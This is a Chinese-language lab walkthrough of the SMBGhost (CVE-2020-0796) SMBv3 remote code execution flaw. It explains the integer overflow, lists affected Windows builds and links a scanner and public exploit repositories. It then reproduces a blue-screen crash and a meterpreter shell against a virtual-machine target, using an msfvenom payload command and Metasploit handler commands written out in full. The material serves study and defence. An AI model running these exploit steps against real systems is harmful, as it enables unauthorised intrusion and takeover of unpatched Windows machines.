CVE-2020-0796(永恒之黑)漏洞
漏洞原理:
SMB远程代码执行漏洞
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
影响版本:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
工具下载
漏洞检测工具:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
攻击poc:https://github.com/eerykitty/CVE-2020-0796-PoC
shell脚本:https://github.com/chompie1337/SMBGhost_RCE_PoC
Windows靶机系统:msdn我告诉你https://msdn.itellyou.cn/
漏洞攻击-蓝屏复现
环境:
目标机:windows10 1903 x64 ip:192.168.73.137(虚拟机)
攻击机:Windows10 (物理机)
操作:
-
首先将目标机的防火墙全部关闭,防火墙所有设置都关了
-
在攻击机上对目标机进行检测,看其是否存在漏洞。利用下载的相关漏洞扫描工具,进入工具包路径内在命令行中运行工具,检测存在漏洞。
-
利用下载的poc脚本发起攻击
python3 CVE-2020-0796.py 192.168.73.137
发现需要下载一些python文件,才能运行脚本。pip下载,根据提示下载相应文件
-
重新发起攻击,发现目标机蓝屏,攻击成功
漏洞利用-反弹shell
环境:
目标机:windows10 1903 x64 ip:192.168.73.137(虚拟机)
攻击机:kali ip:192.168.73.131(虚拟机)
操作:
-
首先生成一个反向连接木马
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8888 -b '\x00' -i 1 -f python
-
用生成的shellcode将shell脚本工具里面的exploit.py中的user_payload替换掉。保留前面的名字,只替换内容,如图
这里有一个小诀窍,先整体粘贴复制,然后将buf += 替换为 user_paload,就不用一行一行粘贴了,节省了很多时间。
-
开启msf监听模块
use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set lport 8888 set rhost 192.168.73.137 run
注意:监听模块的端口设置,和生成的木马设置的端口是同一个,用于反弹shell的入口的。
-
运行exploit.py脚本,发起攻击反弹shell
-
执行成功,查看监听的地方,成功得到shell
这个脚本有点问题,要多试几次才能得到shell,不用着急。这个脚本有时候会把靶机打蓝屏,重启一下靶机就好了,继续执行脚本知道得到shell。
参考文章:
https://www.cnblogs.com/xiaoxiaosen/p/13056272.html
https://blog.csdn.net/weixin_44677409/article/details/106568350?fps=1&locationNum=2